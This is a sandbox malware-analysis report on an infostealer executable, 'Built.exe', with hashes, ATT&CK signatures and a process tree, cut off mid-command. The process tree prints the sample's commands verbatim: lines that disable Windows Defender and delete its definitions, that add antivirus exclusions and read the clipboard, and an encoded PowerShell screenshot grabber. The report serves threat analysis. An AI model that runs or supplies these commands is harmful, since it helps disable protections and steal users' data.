161bfb869368948bad752ca9be7f5871169430a33292dce778c2aa28a1c9967e

Resubmissions

05/07/2026, 19:53

260705-yl5sbsa17l10

05/07/2026, 15:56

260705-tdehyshs4l10

05/07/2026, 15:48

260705-s8texsg12k10

Analysis

user interaction
yes
max time kernel
148s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/07/2026, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Built.exe
Size 6.9MB
Sample260705-s8texsg12k
SHA256 161bfb869368948bad752ca9be7f5871169430a33292dce778c2aa28a1c9967e
MD5 f02c044fd5002954b22a8532573ad4e5
SHA1 88a160b756e1166f78da7c5e4573096eac7f04f6
SHA512 9d3aec3a448b6343765a1ced7de42a4aad06340a4bb3125a696d3a0ef6ce8ef2996e010ce30e79a57d19eed4b1a377d80169b3a72ed8eafdbf66003f1f50f00e
SSDEEP 98304:qQzHqdVfB29X4CCyuT/9vUIdD9C+z3zO917vOTh+ezDNh7lDeuqKsErNfL:hQs5CbT/9bvLz3S1bA3zRKuqKh
TLSH
T17F7633A5A3C105F9D473DA3D82928959DAB0B51B0378CACF03E463952F2BEE04D37B65
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5232	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2752	powershell.exe
1552	powershell.exe
5680	powershell.exe
1416	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2752	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3048	cmd.exe
4588	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1308	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe
2200	Built.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
1772	tasklist.exe
1036	tasklist.exe
4512	tasklist.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5fd-21.dat	upx
behavioral2/memory/2200-25-0x00007FFA70BB0000-0x00007FFA71199000-memory.dmp	upx
behavioral2/files/0x000c00000001c5ef-27.dat	upx
behavioral2/files/0x000c00000001c5fa-29.dat	upx
behavioral2/memory/2200-30-0x00007FFA89270000-0x00007FFA89293000-memory.dmp	upx
behavioral2/files/0x000c00000001c5f6-48.dat	upx
behavioral2/files/0x000c00000001c5f5-47.dat	upx
behavioral2/files/0x000c00000001c5f4-46.dat	upx
behavioral2/files/0x000c00000001c5f2-51.dat	upx
behavioral2/memory/2200-52-0x00007FFA87B20000-0x00007FFA87B4D000-memory.dmp	upx
behavioral2/memory/2200-50-0x00007FFA8B090000-0x00007FFA8B0A9000-memory.dmp	upx
behavioral2/files/0x000d00000001c5ee-49.dat	upx
behavioral2/files/0x000c00000001c5f3-45.dat	upx
behavioral2/files/0x000c00000001c5f1-43.dat	upx
behavioral2/files/0x000c00000001c5f0-42.dat	upx
behavioral2/files/0x000c00000001c602-40.dat	upx
behavioral2/memory/2200-39-0x00007FFA8D2C0000-0x00007FFA8D2CF000-memory.dmp	upx
behavioral2/files/0x000c00000001c601-38.dat	upx
behavioral2/files/0x000c00000001c600-37.dat	upx
behavioral2/files/0x000c00000001c5fb-34.dat	upx
behavioral2/files/0x000c00000001c5f9-33.dat	upx
behavioral2/memory/2200-58-0x00007FFA878A0000-0x00007FFA878C3000-memory.dmp	upx
behavioral2/memory/2200-60-0x00007FFA70A30000-0x00007FFA70BA7000-memory.dmp	upx
behavioral2/memory/2200-64-0x00007FFA8D260000-0x00007FFA8D26D000-memory.dmp	upx
behavioral2/memory/2200-63-0x00007FFA87880000-0x00007FFA87899000-memory.dmp	upx
behavioral2/memory/2200-65-0x00007FFA70BB0000-0x00007FFA71199000-memory.dmp	upx
behavioral2/memory/2200-67-0x00007FFA845F0000-0x00007FFA8461E000-memory.dmp	upx
behavioral2/memory/2200-70-0x00007FFA89270000-0x00007FFA89293000-memory.dmp	upx
behavioral2/memory/2200-71-0x00007FFA706B0000-0x00007FFA70A28000-memory.dmp	upx
behavioral2/memory/2200-72-0x00007FFA81CF0000-0x00007FFA81DA8000-memory.dmp	upx
behavioral2/memory/2200-76-0x00007FFA8B0E0000-0x00007FFA8B0ED000-memory.dmp	upx
behavioral2/memory/2200-75-0x00007FFA87860000-0x00007FFA87874000-memory.dmp	upx
behavioral2/memory/2200-80-0x00007FFA7BB60000-0x00007FFA7BC7C000-memory.dmp	upx
behavioral2/memory/2200-97-0x00007FFA878A0000-0x00007FFA878C3000-memory.dmp	upx
behavioral2/memory/2200-98-0x00007FFA70A30000-0x00007FFA70BA7000-memory.dmp	upx
behavioral2/memory/2200-103-0x00007FFA87880000-0x00007FFA87899000-memory.dmp	upx
behavioral2/memory/2200-117-0x00007FFA8D260000-0x00007FFA8D26D000-memory.dmp	upx
behavioral2/memory/2200-129-0x00007FFA845F0000-0x00007FFA8461E000-memory.dmp	upx
behavioral2/memory/2200-137-0x00007FFA706B0000-0x00007FFA70A28000-memory.dmp	upx
behavioral2/memory/2200-138-0x00007FFA81CF0000-0x00007FFA81DA8000-memory.dmp	upx
behavioral2/memory/2200-143-0x00007FFA89270000-0x00007FFA89293000-memory.dmp	upx
behavioral2/memory/2200-142-0x00007FFA70BB0000-0x00007FFA71199000-memory.dmp	upx
behavioral2/memory/2200-156-0x00007FFA7BB60000-0x00007FFA7BC7C000-memory.dmp	upx
behavioral2/memory/2200-191-0x00007FFA89270000-0x00007FFA89293000-memory.dmp	upx
behavioral2/memory/2200-196-0x00007FFA70A30000-0x00007FFA70BA7000-memory.dmp	upx
behavioral2/memory/2200-190-0x00007FFA70BB0000-0x00007FFA71199000-memory.dmp	upx
behavioral2/memory/2200-225-0x00007FFA878A0000-0x00007FFA878C3000-memory.dmp	upx
behavioral2/memory/2200-222-0x00007FFA8D2C0000-0x00007FFA8D2CF000-memory.dmp	upx
behavioral2/memory/2200-221-0x00007FFA89270000-0x00007FFA89293000-memory.dmp	upx
behavioral2/memory/2200-228-0x00007FFA8D260000-0x00007FFA8D26D000-memory.dmp	upx
behavioral2/memory/2200-227-0x00007FFA87880000-0x00007FFA87899000-memory.dmp	upx
behavioral2/memory/2200-224-0x00007FFA87B20000-0x00007FFA87B4D000-memory.dmp	upx
behavioral2/memory/2200-223-0x00007FFA8B090000-0x00007FFA8B0A9000-memory.dmp	upx
behavioral2/memory/2200-220-0x00007FFA70BB0000-0x00007FFA71199000-memory.dmp	upx
behavioral2/memory/2200-234-0x00007FFA7BB60000-0x00007FFA7BC7C000-memory.dmp	upx
behavioral2/memory/2200-233-0x00007FFA8B0E0000-0x00007FFA8B0ED000-memory.dmp	upx
behavioral2/memory/2200-230-0x00007FFA706B0000-0x00007FFA70A28000-memory.dmp	upx
behavioral2/memory/2200-232-0x00007FFA87860000-0x00007FFA87874000-memory.dmp	upx
behavioral2/memory/2200-231-0x00007FFA81CF0000-0x00007FFA81DA8000-memory.dmp	upx
behavioral2/memory/2200-229-0x00007FFA845F0000-0x00007FFA8461E000-memory.dmp	upx
behavioral2/memory/2200-226-0x00007FFA70A30000-0x00007FFA70BA7000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2528	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4292	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2752	powershell.exe
1416	powershell.exe
5680	powershell.exe
1416	powershell.exe
2752	powershell.exe
5680	powershell.exe
5440	WMIC.exe
5440	WMIC.exe
5440	WMIC.exe
5440	WMIC.exe
4588	powershell.exe
4588	powershell.exe
4588	powershell.exe
5964	powershell.exe
5964	powershell.exe
5964	powershell.exe
4688	WMIC.exe
4688	WMIC.exe
4688	WMIC.exe
4688	WMIC.exe
2456	WMIC.exe
2456	WMIC.exe
2456	WMIC.exe
2456	WMIC.exe
3268	WMIC.exe
3268	WMIC.exe
3268	WMIC.exe
3268	WMIC.exe
1552	powershell.exe
1552	powershell.exe
2528	WMIC.exe
2528	WMIC.exe
2528	WMIC.exe
2528	WMIC.exe
5908	powershell.exe
5908	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	5680	powershell.exe
Token: SeIncreaseQuotaPrivilege	1416	powershell.exe
Token: SeSecurityPrivilege	1416	powershell.exe
Token: SeTakeOwnershipPrivilege	1416	powershell.exe
Token: SeLoadDriverPrivilege	1416	powershell.exe
Token: SeSystemProfilePrivilege	1416	powershell.exe
Token: SeSystemtimePrivilege	1416	powershell.exe
Token: SeProfSingleProcessPrivilege	1416	powershell.exe
Token: SeIncBasePriorityPrivilege	1416	powershell.exe
Token: SeCreatePagefilePrivilege	1416	powershell.exe
Token: SeBackupPrivilege	1416	powershell.exe
Token: SeRestorePrivilege	1416	powershell.exe
Token: SeShutdownPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeSystemEnvironmentPrivilege	1416	powershell.exe
Token: SeRemoteShutdownPrivilege	1416	powershell.exe
Token: SeUndockPrivilege	1416	powershell.exe
Token: SeManageVolumePrivilege	1416	powershell.exe
Token: 33	1416	powershell.exe
Token: 34	1416	powershell.exe
Token: 35	1416	powershell.exe
Token: 36	1416	powershell.exe
Token: SeIncreaseQuotaPrivilege	2752	powershell.exe
Token: SeSecurityPrivilege	2752	powershell.exe
Token: SeTakeOwnershipPrivilege	2752	powershell.exe
Token: SeLoadDriverPrivilege	2752	powershell.exe
Token: SeSystemProfilePrivilege	2752	powershell.exe
Token: SeSystemtimePrivilege	2752	powershell.exe
Token: SeProfSingleProcessPrivilege	2752	powershell.exe
Token: SeIncBasePriorityPrivilege	2752	powershell.exe
Token: SeCreatePagefilePrivilege	2752	powershell.exe
Token: SeBackupPrivilege	2752	powershell.exe
Token: SeRestorePrivilege	2752	powershell.exe
Token: SeShutdownPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeSystemEnvironmentPrivilege	2752	powershell.exe
Token: SeRemoteShutdownPrivilege	2752	powershell.exe
Token: SeUndockPrivilege	2752	powershell.exe
Token: SeManageVolumePrivilege	2752	powershell.exe
Token: 33	2752	powershell.exe
Token: 34	2752	powershell.exe
Token: 35	2752	powershell.exe
Token: 36	2752	powershell.exe
Token: SeIncreaseQuotaPrivilege	5680	powershell.exe
Token: SeSecurityPrivilege	5680	powershell.exe
Token: SeTakeOwnershipPrivilege	5680	powershell.exe
Token: SeLoadDriverPrivilege	5680	powershell.exe
Token: SeSystemProfilePrivilege	5680	powershell.exe
Token: SeSystemtimePrivilege	5680	powershell.exe
Token: SeProfSingleProcessPrivilege	5680	powershell.exe
Token: SeIncBasePriorityPrivilege	5680	powershell.exe
Token: SeCreatePagefilePrivilege	5680	powershell.exe
Token: SeBackupPrivilege	5680	powershell.exe
Token: SeRestorePrivilege	5680	powershell.exe
Token: SeShutdownPrivilege	5680	powershell.exe
Token: SeDebugPrivilege	5680	powershell.exe
Token: SeSystemEnvironmentPrivilege	5680	powershell.exe
Token: SeRemoteShutdownPrivilege	5680	powershell.exe
Token: SeUndockPrivilege	5680	powershell.exe
Token: SeManageVolumePrivilege	5680	powershell.exe
Token: 33	5680	powershell.exe
Token: 34	5680	powershell.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 2200	2968	Built.exe	88
PID 2200 wrote to memory of 4500	2200	Built.exe	89
PID 2200 wrote to memory of 4216	2200	Built.exe	90
PID 2200 wrote to memory of 3148	2200	Built.exe	91
PID 4216 wrote to memory of 2752	4216	cmd.exe	95
PID 3148 wrote to memory of 1416	3148	cmd.exe	96
PID 4500 wrote to memory of 5680	4500	cmd.exe	97
PID 2200 wrote to memory of 1652	2200	Built.exe	98
PID 2200 wrote to memory of 4984	2200	Built.exe	99
PID 2200 wrote to memory of 996	2200	Built.exe	102
PID 2200 wrote to memory of 3048	2200	Built.exe	103
PID 2200 wrote to memory of 5760	2200	Built.exe	105
PID 4984 wrote to memory of 1036	4984	cmd.exe	108
PID 2200 wrote to memory of 108	2200	Built.exe	109
PID 1652 wrote to memory of 1772	1652	cmd.exe	110
PID 2200 wrote to memory of 1484	2200	Built.exe	111
PID 2200 wrote to memory of 5752	2200	Built.exe	114
PID 996 wrote to memory of 5440	996	cmd.exe	117
PID 5760 wrote to memory of 4512	5760	cmd.exe	118
PID 3048 wrote to memory of 4588	3048	cmd.exe	119
PID 1484 wrote to memory of 4292	1484	cmd.exe	120
PID 108 wrote to memory of 4560	108	cmd.exe	121
PID 5752 wrote to memory of 5964	5752	cmd.exe	122
PID 2200 wrote to memory of 2120	2200	Built.exe	124
PID 2120 wrote to memory of 1328	2120	cmd.exe	126
PID 2200 wrote to memory of 3572	2200	Built.exe	127
PID 5964 wrote to memory of 5152	5964	powershell.exe	129
PID 3572 wrote to memory of 3068	3572	cmd.exe	130
PID 2200 wrote to memory of 3548	2200	Built.exe	131
PID 3548 wrote to memory of 3860	3548	cmd.exe	133
PID 5152 wrote to memory of 2068	5152	csc.exe	134
PID 2200 wrote to memory of 4576	2200	Built.exe	135
PID 4576 wrote to memory of 1236	4576	cmd.exe	137
PID 2200 wrote to memory of 5092	2200	Built.exe	138
PID 5092 wrote to memory of 2640	5092	cmd.exe	140
PID 4216 wrote to memory of 5232	4216	cmd.exe	141
PID 2200 wrote to memory of 3076	2200	Built.exe	142
PID 3076 wrote to memory of 2088	3076	cmd.exe	144
PID 2200 wrote to memory of 2868	2200	Built.exe	145
PID 2868 wrote to memory of 1308	2868	cmd.exe	147
PID 2200 wrote to memory of 2920	2200	Built.exe	148
PID 2920 wrote to memory of 4688	2920	cmd.exe	150
PID 2200 wrote to memory of 5960	2200	Built.exe	151
PID 5960 wrote to memory of 2456	5960	cmd.exe	153
PID 2200 wrote to memory of 2420	2200	Built.exe	154
PID 2420 wrote to memory of 3268	2420	cmd.exe	156
PID 2200 wrote to memory of 4824	2200	Built.exe	157
PID 4824 wrote to memory of 1552	4824	cmd.exe	159
PID 2200 wrote to memory of 3520	2200	Built.exe	160
PID 3520 wrote to memory of 2528	3520	cmd.exe	162
PID 2200 wrote to memory of 3760	2200	Built.exe	163
PID 3760 wrote to memory of 5908	3760	cmd.exe	165

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Users\Admin\AppData\Local\Temp\Built.exe
  "C:\Users\Admin\AppData\Local\Temp\Built.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2752
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:5232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:996
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5760
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:108
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgA